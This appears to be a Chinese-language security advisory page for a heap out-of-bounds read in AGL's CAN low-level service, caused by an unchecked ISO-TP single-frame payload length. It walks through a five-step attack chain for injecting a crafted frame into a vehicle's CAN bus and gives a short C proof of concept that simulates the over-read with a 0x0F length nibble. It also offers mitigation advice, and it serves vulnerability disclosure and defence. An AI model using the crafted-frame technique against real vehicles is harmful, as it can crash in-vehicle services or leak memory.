IPBUF安全漏洞报告
English
CVE-2026-37532 CVSS 7.1 高危

CVE-2026-37532 AGL服务堆缓冲区越界读漏洞

披露日期: 2026-05-01

漏洞信息

漏洞编号
CVE-2026-37532
漏洞类型
堆缓冲区越界读
CVSS评分
7.1 高危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
AGL agl-service-can-low-level

相关标签

堆缓冲区越界读AGLCAN总线车载信息安全缓冲区溢出

漏洞概述

AGL agl-service-can-low-level 17.1.12及之前版本存在堆缓冲区越界读漏洞。该漏洞位于isotp-c库中,因未正确验证CAN单帧的payload_length,导致在处理特制数据时发生越界读取,可能引发服务拒绝或信息泄露。

技术细节

漏洞位于isotp-c库的receive.c文件第87-89行。在isotp_continue_receive函数中,程序从CAN帧数据的4位半字节中提取payload_length,其理论值为0-15。标准CAN帧总长8字节,载荷从data[1]开始,实际最大可用载荷仅为7字节。由于缺乏边界检查,当payload_length被设置为大于7的值(如15)时,memcpy(message.payload, &data[1], payload_length)操作将读取源缓冲区边界之外的内存。这种堆缓冲区越界读可能导致进程崩溃或泄露内存中的敏感数据。

攻击链分析

STEP 1
步骤1:构造恶意帧
攻击者接入目标车辆的CAN总线,构造一个特制的ISO-TP单帧。该帧的第一个字节的低4位被设置为大于7的值(例如15),表示载荷长度异常。
STEP 2
步骤2:发送数据
攻击者通过物理连接或无线接口将恶意CAN帧发送给运行AGL系统的车载终端。
STEP 3
步骤3:触发漏洞
AGL的agl-service-can-low-level服务接收该帧,并调用isotp-c库的isotp_continue_receive函数进行处理。
STEP 4
步骤4:越界读取
由于代码未校验长度,memcpy函数尝试从有限的CAN帧缓冲区中读取超过实际长度的数据,导致堆缓冲区越界读。
STEP 5
步骤5:造成影响
越界读可能导致服务进程崩溃,造成拒绝服务;或者可能泄露堆内存中的敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#include <stdio.h> #include <string.h> #include <stdint.h> // Simulated vulnerable function logic based on description void simulate_vulnerability(uint8_t *can_frame) { // Extract payload_length from the 4-bit nibble (first byte low bits) uint8_t payload_length = can_frame[0] & 0x0F; printf("[+] Extracted payload_length: %d\n", payload_length); // Standard CAN frame is 8 bytes, payload starts at data[1] // Available data is 7 bytes (indices 1 to 7) uint8_t message_payload[16]; // Vulnerable memcpy: reads 'payload_length' bytes from &data[1] // If payload_length is 15, it reads 8 bytes past the end of the 8-byte frame buffer memcpy(message_payload, &can_frame[1], payload_length); printf("[+] Data copied. Potential heap over-read occurred if length > 7.\n"); } int main() { // Standard CAN frame max size is 8 bytes uint8_t malicious_frame[8] = {0}; // Set the first byte low nibble to 15 (0xF) to indicate a large payload // This simulates the malicious condition triggering the overflow malicious_frame[0] = 0x0F; // Fill the rest with dummy data for(int i = 1; i < 8; i++) { malicious_frame[i] = 0x41 + i; } printf("[*] Sending malicious CAN frame...\n"); simulate_vulnerability(malicious_frame); return 0; }

影响范围

AGL agl-service-can-low-level <= 17.1.12

防御指南

临时缓解措施
在无法立即升级补丁的情况下,建议严格限制车辆CAN总线的物理访问和网络接口访问,防止攻击者注入恶意流量。同时,部署入侵检测系统(IDS)监控包含异常长度字段的ISO-TP单帧数据包。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表